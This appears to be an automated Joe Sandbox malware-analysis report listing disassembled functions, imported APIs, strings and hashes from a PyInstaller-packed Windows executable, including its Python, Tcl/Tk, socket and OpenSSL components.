Py_DecodeLocale, xrefs: 00007FF7EAD0587F, 00007FF7EAD058A1
PyErr_NormalizeException, xrefs: 00007FF7EAD05AFD, 00007FF7EAD05B1F
PyObject_CallFunctionObjArgs, xrefs: 00007FF7EAD05D25, 00007FF7EAD05D47
PyConfig_SetBytesString, xrefs: 00007FF7EAD05A17, 00007FF7EAD05A39
PyObject_CallFunction, xrefs: 00007FF7EAD05CF7, 00007FF7EAD05D19
PyObject_GetAttrString, xrefs: 00007FF7EAD05D53, 00007FF7EAD05D75
PyConfig_SetString, xrefs: 00007FF7EAD05A45, 00007FF7EAD05A67
PyModule_GetDict, xrefs: 00007FF7EAD05CC9, 00007FF7EAD05CEB
PyImport_ImportModule, xrefs: 00007FF7EAD05C3F, 00007FF7EAD05C61
PyUnicode_FromString, xrefs: 00007FF7EAD05F7B, 00007FF7EAD05F9D
Py_DecRef, xrefs: 00007FF7EAD05836, 00007FF7EAD05858
Failed to get address for %hs, xrefs: 00007FF7EAD05861
PyConfig_Clear, xrefs: 00007FF7EAD0598D, 00007FF7EAD059AF
PyUnicode_Decode, xrefs: 00007FF7EAD05EF1, 00007FF7EAD05F13
PySys_SetObject, xrefs: 00007FF7EAD05E95, 00007FF7EAD05EB7
Py_IsInitialized, xrefs: 00007FF7EAD05931, 00007FF7EAD05953

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: 838a6403920f793cf825e78015ef6722e1d388e4f4ef0c52e758ecde8d02b0c6
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: FE22D274A09B0781FA05FB11A8507B4A7A5EF05749FD490F7E81E02268FFBCB948C272

Function 00007FF7EAD076C0 Relevance: 177.1, APIs: 66, Strings: 35, Instructions: 314libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FF7EAD076D7
GetLastError.KERNEL32 ref: 00007FF7EAD076E9
GetProcAddress.KERNEL32 ref: 00007FF7EAD07725
GetLastError.KERNEL32 ref: 00007FF7EAD07737
GetProcAddress.KERNEL32 ref: 00007FF7EAD07750
GetLastError.KERNEL32 ref: 00007FF7EAD07762
GetProcAddress.KERNEL32 ref: 00007FF7EAD0777B
GetLastError.KERNEL32 ref: 00007FF7EAD0778D
GetProcAddress.KERNEL32 ref: 00007FF7EAD077A9
GetLastError.KERNEL32 ref: 00007FF7EAD077BB
GetProcAddress.KERNEL32 ref: 00007FF7EAD077D7
GetLastError.KERNEL32 ref: 00007FF7EAD077E9
GetProcAddress.KERNEL32 ref: 00007FF7EAD07805
GetLastError.KERNEL32 ref: 00007FF7EAD07817
GetProcAddress.KERNEL32 ref: 00007FF7EAD07833
GetLastError.KERNEL32 ref: 00007FF7EAD07845
GetProcAddress.KERNEL32 ref: 00007FF7EAD07861
GetLastError.KERNEL32 ref: 00007FF7EAD07873

Strings

Tcl_ConditionFinalize, xrefs: 00007FF7EAD0793D, 00007FF7EAD0795F
Tcl_MutexFinalize, xrefs: 00007FF7EAD0790F, 00007FF7EAD07931
Tcl_Finalize, xrefs: 00007FF7EAD0779F, 00007FF7EAD077C1
Tcl_CreateObjCommand, xrefs: 00007FF7EAD07A7F, 00007FF7EAD07AA1
Tcl_MutexUnlock, xrefs: 00007FF7EAD078E1, 00007FF7EAD07903
Tcl_Alloc, xrefs: 00007FF7EAD07C1D, 00007FF7EAD07C3F
Tcl_SetVar2Ex, xrefs: 00007FF7EAD07B37, 00007FF7EAD07B59
Tcl_GetCurrentThread, xrefs: 00007FF7EAD07857, 00007FF7EAD07879
Tcl_DoOneEvent, xrefs: 00007FF7EAD07771, 00007FF7EAD07793
Tcl_EvalObjv, xrefs: 00007FF7EAD07BEF, 00007FF7EAD07C11
Tcl_GetVar2, xrefs: 00007FF7EAD07A23, 00007FF7EAD07A45
Tcl_NewByteArrayObj, xrefs: 00007FF7EAD07B09, 00007FF7EAD07B2B
Tcl_ConditionNotify, xrefs: 00007FF7EAD0796B, 00007FF7EAD0798D
Tk_GetNumMainWindows, xrefs: 00007FF7EAD07CA7, 00007FF7EAD07CC9
Tcl_FinalizeThread, xrefs: 00007FF7EAD077CD, 00007FF7EAD077EF
GetProcAddress, xrefs: 00007FF7EAD076FF
Tcl_MutexLock, xrefs: 00007FF7EAD078B3, 00007FF7EAD078D5
Tcl_GetObjResult, xrefs: 00007FF7EAD07B65, 00007FF7EAD07B87
Tcl_ThreadQueueEvent, xrefs: 00007FF7EAD079C7, 00007FF7EAD079E9
Tcl_ThreadAlert, xrefs: 00007FF7EAD079F5, 00007FF7EAD07A17
Tcl_Free, xrefs: 00007FF7EAD07C4B, 00007FF7EAD07C6D
Tcl_SetVar2, xrefs: 00007FF7EAD07A51, 00007FF7EAD07A73
Tcl_NewStringObj, xrefs: 00007FF7EAD07ADB, 00007FF7EAD07AFD
Tcl_JoinThread, xrefs: 00007FF7EAD07885, 00007FF7EAD078A7
Tk_Init, xrefs: 00007FF7EAD07C79, 00007FF7EAD07C9B
Tcl_EvalFile, xrefs: 00007FF7EAD07B93, 00007FF7EAD07BB5
Tcl_GetString, xrefs: 00007FF7EAD07AAD, 00007FF7EAD07ACF
Tcl_CreateThread, xrefs: 00007FF7EAD07829, 00007FF7EAD0784B
Tcl_ConditionWait, xrefs: 00007FF7EAD07999, 00007FF7EAD079BB
Tcl_CreateInterp, xrefs: 00007FF7EAD0771B, 00007FF7EAD0773D
Tcl_Init, xrefs: 00007FF7EAD076D0, 00007FF7EAD076EF
Failed to get address for %hs, xrefs: 00007FF7EAD076F8
Tcl_EvalEx, xrefs: 00007FF7EAD07BC1, 00007FF7EAD07BE3
Tcl_FindExecutable, xrefs: 00007FF7EAD07746, 00007FF7EAD07768
Tcl_DeleteInterp, xrefs: 00007FF7EAD077FB, 00007FF7EAD0781D

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_JoinThread$Tcl_MutexFinalize$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 199729137-3427451314
Opcode ID: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction ID: fd79366d10eff1426a2f1099dc66648e36f79815a7641e88e24ed06158b605d5
Opcode Fuzzy Hash: 939c8a0ebf27c7f5789cd4a10996167767bc86255d761b2ba34a42bc6fc861e3
Instruction Fuzzy Hash: 7002C130E09F0781FA55FB55A9547B4A3A6EF05758BD040B3E86E0626CEF7CB54AC232

Function 00007FF8E81340F0 Relevance: 33.5, APIs: 5, Strings: 14, Instructions: 244networkCOMMON

Download Yara Rule

APIs

htons.WS2_32 ref: 00007FF8E81344EF

Strings

%s(): unsupported AF_HYPERV protocol: %d, xrefs: 00007FF8E813415E
%s(): port must be 0-65535., xrefs: 00007FF8E813445F
%s(): bad family, xrefs: 00007FF8E8134141
%s(): AF_HYPERV address service_id is not a valid UUID string, xrefs: 00007FF8E813424C
%s(): AF_INET address must be tuple, not %.500s, xrefs: 00007FF8E8134417
O&i;AF_INET address must be a pair (host, port), xrefs: 00007FF8E813443A
%s(): flowinfo must be 0-1048575., xrefs: 00007FF8E81343C3
%s(): AF_HYPERV address vm_id is not a valid UUID string, xrefs: 00007FF8E8134209
%s(): AF_INET6 address must be tuple, not %.500s, xrefs: 00007FF8E813431A
%s(): AF_HYPERV address must be tuple, not %.500s, xrefs: 00007FF8E81341AA
%s(): unknown Bluetooth protocol, xrefs: 00007FF8E8134292
UU;AF_HYPERV address must be a str tuple (vm_id, service_id), xrefs: 00007FF8E81341D9
%s(): wrong format, xrefs: 00007FF8E81342C7
O&i|II;AF_INET6 address must be a tuple (host, port[, flowinfo[, scopeid]]), xrefs: 00007FF8E813434A

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: htons
String ID: %s(): AF_HYPERV address must be tuple, not %.500s$%s(): AF_HYPERV address service_id is not a valid UUID string$%s(): AF_HYPERV address vm_id is not a valid UUID string$%s(): AF_INET address must be tuple, not %.500s$%s(): AF_INET6 address must be tuple, not %.500s$%s(): bad family$%s(): flowinfo must be 0-1048575.$%s(): port must be 0-65535.$%s(): unknown Bluetooth protocol$%s(): unsupported AF_HYPERV protocol: %d$%s(): wrong format$O&i;AF_INET address must be a pair (host, port)$O&i|II;AF_INET6 address must be a tuple (host, port[, flowinfo[, scopeid]])$UU;AF_HYPERV address must be a str tuple (vm_id, service_id)
API String ID: 4207154920-3631354148
Opcode ID: 65c7fb5e1b5cb7743f2b7115a2606a9b17d437ac19ebb2a548de934386b24315
Instruction ID: 30db04cd5f8bf161300ce63feeb4a2bf22c0e5a337e1a7d78c931bde45c6727b
Opcode Fuzzy Hash: 65c7fb5e1b5cb7743f2b7115a2606a9b17d437ac19ebb2a548de934386b24315
Instruction Fuzzy Hash: 6EC12C72A08B4286EB10CFA5E9803BC37A0FB55BC8F164136DA4E53664DF3CE495C34A

Function 00007FF8E8134F74 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 170COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32 ref: 00007FF8E8134FF5
FreeAddrInfoW.WS2_32 ref: 00007FF8E8135025
FreeAddrInfoW.WS2_32 ref: 00007FF8E8135062
FreeAddrInfoW.WS2_32 ref: 00007FF8E813508C
inet_pton.WS2_32 ref: 00007FF8E81350E6
inet_pton.WS2_32 ref: 00007FF8E8135131
getaddrinfo.WS2_32 ref: 00007FF8E8135177
FreeAddrInfoW.WS2_32 ref: 00007FF8E81351C5

Strings

<broadcast>, xrefs: 00007FF8E81350B0
255.255.255.255, xrefs: 00007FF8E8135099
unknown address family, xrefs: 00007FF8E81351DE
wildcard resolved to multiple address, xrefs: 00007FF8E8135068
unsupported address family, xrefs: 00007FF8E813502B
address family mismatched, xrefs: 00007FF8E81351F7

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: AddrFreeInfo$getaddrinfoinet_pton
String ID: 255.255.255.255$<broadcast>$address family mismatched$unknown address family$unsupported address family$wildcard resolved to multiple address
API String ID: 3456548859-1715193308
Opcode ID: e38dd31c2c705093840054c3f6f1944b26c7efcdfc5ee6327c49719d0f116eec
Instruction ID: 35944bcb01d7e64c3db377752b6c21fca452807256a89414ecb3b84468681d83
Opcode Fuzzy Hash: e38dd31c2c705093840054c3f6f1944b26c7efcdfc5ee6327c49719d0f116eec
Instruction Fuzzy Hash: 1A719261A08742C2F7208FA5A4043BD63A0FB85FC4F524231EE5E536A5DF3CE555C74A

Function 00007FF8E8137BA8 Relevance: 24.7, APIs: 4, Strings: 10, Instructions: 162COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32 ref: 00007FF8E8137D2B
htonl.WS2_32 ref: 00007FF8E8137D91
getnameinfo.WS2_32 ref: 00007FF8E8137DD9
FreeAddrInfoW.WS2_32 ref: 00007FF8E8137E6E

Strings

socket.getnameinfo, xrefs: 00007FF8E8137CA7
IPv4 sockaddr must be 2 tuple, xrefs: 00007FF8E8137E07
(O), xrefs: 00007FF8E8137CA0
sockaddr resolved to multiple addresses, xrefs: 00007FF8E8137D60
getnameinfo(): flowinfo must be 0-1048575., xrefs: 00007FF8E8137C92
si|II;getnameinfo(): illegal sockaddr argument, xrefs: 00007FF8E8137C70
, xrefs: 00007FF8E8137DBF
surrogatepass, xrefs: 00007FF8E8137E27
getnameinfo() argument 1 must be a tuple, xrefs: 00007FF8E8137C25
Oi:getnameinfo, xrefs: 00007FF8E8137BF4

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

Associated: 00000002.00000002.1495728438.00007FF8E8130000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8141000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8143000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496149556.00007FF8E8146000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1496995524.00007FF8E8147000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.1497677293.00007FF8E8148000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e8130000_SecuriteInfo.jbxd

Similarity

API ID: AddrFreeInfogetaddrinfogetnameinfohtonl
String ID: $(O)$IPv4 sockaddr must be 2 tuple$Oi:getnameinfo$getnameinfo() argument 1 must be a tuple$getnameinfo(): flowinfo must be 0-1048575.$si|II;getnameinfo(): illegal sockaddr argument$sockaddr resolved to multiple addresses$socket.getnameinfo$surrogatepass
API String ID: 4001298222-243639936
Opcode ID: 8c926511a33a684e4fd5c2fa0c2c9a11c5c77bdf7478a1f8c49009de7e57055e
Instruction ID: e3264321d8b27136144f73d08c3e09a34721b94da3db0e2c821c2067cf323d70
Opcode Fuzzy Hash: 8c926511a33a684e4fd5c2fa0c2c9a11c5c77bdf7478a1f8c49009de7e57055e
Instruction Fuzzy Hash: AB813B72A08B4686EB10CFA1E4403AD73A0FB89BD4F520136DA4D47A68DF7CE585CB45

Function 00007FF7EAD081D0 Relevance: 24.6, APIs: 6, Strings: 8, Instructions: 117COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7EAD09390: MultiByteToWideChar.KERNEL32(?,?,?,00007FF7EAD045F4,00000000,00007FF7EAD01985), ref: 00007FF7EAD093C9

ExpandEnvironmentStringsW.KERNEL32(?,00007FF7EAD086B7,?,?,00000000,00007FF7EAD03CBB), ref: 00007FF7EAD0822C

Part of subcall function 00007FF7EAD02810: MessageBoxW.USER32 ref: 00007FF7EAD028EA

Strings

%.*s, xrefs: 00007FF7EAD0830C
LOADER: failed to obtain the absolute path of the runtime-tmpdir., xrefs: 00007FF7EAD082D9
LOADER: failed to convert runtime-tmpdir to a wide string., xrefs: 00007FF7EAD08203
LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!, xrefs: 00007FF7EAD0829D
LOADER: failed to create runtime-tmpdir path %ls!, xrefs: 00007FF7EAD08373
CreateDirectory, xrefs: 00007FF7EAD0837C
LOADER: failed to expand environment variables in the runtime-tmpdir., xrefs: 00007FF7EAD08240
\, xrefs: 00007FF7EAD08261

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: ByteCharEnvironmentExpandMessageMultiStringsWide
String ID: %.*s$CreateDirectory$LOADER: failed to convert runtime-tmpdir to a wide string.$LOADER: failed to create runtime-tmpdir path %ls!$LOADER: failed to expand environment variables in the runtime-tmpdir.$LOADER: failed to obtain the absolute path of the runtime-tmpdir.$LOADER: runtime-tmpdir points to non-existent drive %ls (type: %d)!$\
API String ID: 1662231829-930877121
Opcode ID: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
Instruction ID: 27cbb44b4b0018f4524e81f297e685114d20aa569ed7601946d0285ee283ed2a
Opcode Fuzzy Hash: 34679b23be2e6a85bad270fe565fa16c5e09c528fb77942a9d4832d630ea4d55
Instruction Fuzzy Hash: B2518311A2964245FA50FB24D8913BEE391EF94788FC44473DA4E826DDEEBCE404C772

Function 00007FF7EAD01600 Relevance: 22.9, APIs: 1, Strings: 12, Instructions: 145COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to open target file!, xrefs: 00007FF7EAD0165C
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF7EAD016DA
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF7EAD01742
fwrite, xrefs: 00007FF7EAD017D1
fread, xrefs: 00007FF7EAD017E6
fseek, xrefs: 00007FF7EAD016E1
malloc, xrefs: 00007FF7EAD01749
Failed to extract %s: failed to write data chunk!, xrefs: 00007FF7EAD017CA
Failed to extract %s: failed to open archive file!, xrefs: 00007FF7EAD016A2
fopen, xrefs: 00007FF7EAD01663
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF7EAD017DF
Failed to create symbolic link %s!, xrefs: 00007FF7EAD01622

Memory Dump Source

Source File: 00000002.00000002.1469032874.00007FF7EAD01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7EAD00000, based on PE: true

Associated: 00000002.00000002.1467847222.00007FF7EAD00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469085811.00007FF7EAD2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469130641.00007FF7EAD41000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1469304096.00007FF7EAD44000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff7ead00000_SecuriteInfo.jbxd

Similarity

API ID: CurrentProcess
String ID: Failed to create symbolic link %s!$Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 2050909247-1550345328
Opcode ID: 5687553188da95979e1850d39e0540597c2748fb5fd92a7858fdb41ee8a10d46
Instruction ID: 268be9953173299050babd1cc5b9ac8576ec22708eb0e55688078a03abb146f7
Opcode Fuzzy Hash: 5687553188da95979e1850d39e0540597c2748fb5fd92a7858fdb41ee8a10d46
Instruction Fuzzy Hash: D851AE61A0864792FA10FB6194803B9E3A2FF84798FC445B3EE4C4779ADE3CE545C362

Function 00007FF8E7A35880 Relevance: 22.9, APIs: 4, Strings: 9, Instructions: 101COMMON

Download Yara Rule

APIs

00007FF906026570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7A358B8
00007FF906026570.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF8E7A358E9

Strings

SUITEB128ONLY, xrefs: 00007FF8E7A358A6
ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384, xrefs: 00007FF8E7A359D1
SUITEB128C2, xrefs: 00007FF8E7A358DC
check_suiteb_cipher_list, xrefs: 00007FF8E7A35989
ECDHE-ECDSA-AES128-GCM-SHA256, xrefs: 00007FF8E7A359F4
..\s\ssl\ssl_ciph.c, xrefs: 00007FF8E7A35995
SUITEB192, xrefs: 00007FF8E7A3593D
SUITEB128, xrefs: 00007FF8E7A3590F
ECDHE-ECDSA-AES256-GCM-SHA384, xrefs: 00007FF8E7A359D8, 00007FF8E7A359E8

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: 00007F906026570
String ID: ..\s\ssl\ssl_ciph.c$ECDHE-ECDSA-AES128-GCM-SHA256$ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384$ECDHE-ECDSA-AES256-GCM-SHA384$SUITEB128$SUITEB128C2$SUITEB128ONLY$SUITEB192$check_suiteb_cipher_list
API String ID: 1666080152-1099454403
Opcode ID: d010dc04cde0d827dd4d4b2974a89dd33488d398655083e96dacdbd8a206bc00
Instruction ID: 259776a2b10fa5dd55bd477986ba99cb39e201dd6c60364746698a2b1761408d
Opcode Fuzzy Hash: d010dc04cde0d827dd4d4b2974a89dd33488d398655083e96dacdbd8a206bc00
Instruction Fuzzy Hash: 3D419331F08A02A6E7149FA9E85237C37A0EF44BD4F404436EA6D83794DF6CE590DB02

Function 00007FF8E7A21A23 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

00007FF8E6784D31.LIBCRYPTO-3 ref: 00007FF8E7A632B6
00007FF8E6784D31.LIBCRYPTO-3 ref: 00007FF8E7A632D7
00007FF8E6784D31.LIBCRYPTO-3 ref: 00007FF8E7A632F8
00007FF8E6784D31.LIBCRYPTO-3 ref: 00007FF8E7A63319
00007FF8E6784D31.LIBCRYPTO-3 ref: 00007FF8E7A63336
00007FF8E6784D31.LIBCRYPTO-3 ref: 00007FF8E7A63353
00007FF8E6784D31.LIBCRYPTO-3 ref: 00007FF8E7A63370
00007FF8E6784D31.LIBCRYPTO-3 ref: 00007FF8E7A6338D

Strings

..\s\ssl\tls_srp.c, xrefs: 00007FF8E7A633C3, 00007FF8E7A63402, 00007FF8E7A63436, 00007FF8E7A63454, 00007FF8E7A6346D
ssl_srp_ctx_init_intern, xrefs: 00007FF8E7A6342D

Memory Dump Source

Source File: 00000002.00000002.1490107533.00007FF8E7A21000.00000040.00000001.01000000.00000010.sdmp, Offset: 00007FF8E7A20000, based on PE: true

Associated: 00000002.00000002.1489932395.00007FF8E7A20000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AA5000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7ACD000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AD8000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1490107533.00007FF8E7AE3000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493021775.00007FF8E7AE7000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 00000002.00000002.1493179025.00007FF8E7AE9000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8e7a20000_SecuriteInfo.jbxd

Similarity

API ID: 00007E6784
String ID: ..\s\ssl\tls_srp.c$ssl_srp_ctx_init_intern
API String ID: 3284476089-1794268454
Opcode ID: 7c6f5f71629c738828d3fb28ae6d14af1525a41dda9b56dd32a690e7e5b3c519
Instruction ID: 27c780a90899c236d4a2dfa025a3cecfa9862a4aadaf0793530bace7635197e5
Opcode Fuzzy Hash: 7c6f5f71629c738828d3fb28ae6d14af1525a41dda9b56dd32a690e7e5b3c519
Instruction Fuzzy Hash: E2917422B1AB8281FB89DBA5D4513BC7350FF44B88F184635DA7D0B256EF2CE5E28311

Function 00007FF8E8134B80 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 134COMMON

Download Yara Rule

Strings

Unknown Bluetooth protocol, xrefs: 00007FF8E8134CA6
iy#, xrefs: 00007FF8E8134BD5
OiII, xrefs: 00007FF8E8134D37

Memory Dump Source

Source File: 00000002.00000002.1496149556.00007FF8E8131000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FF8E8130000, based on PE: true

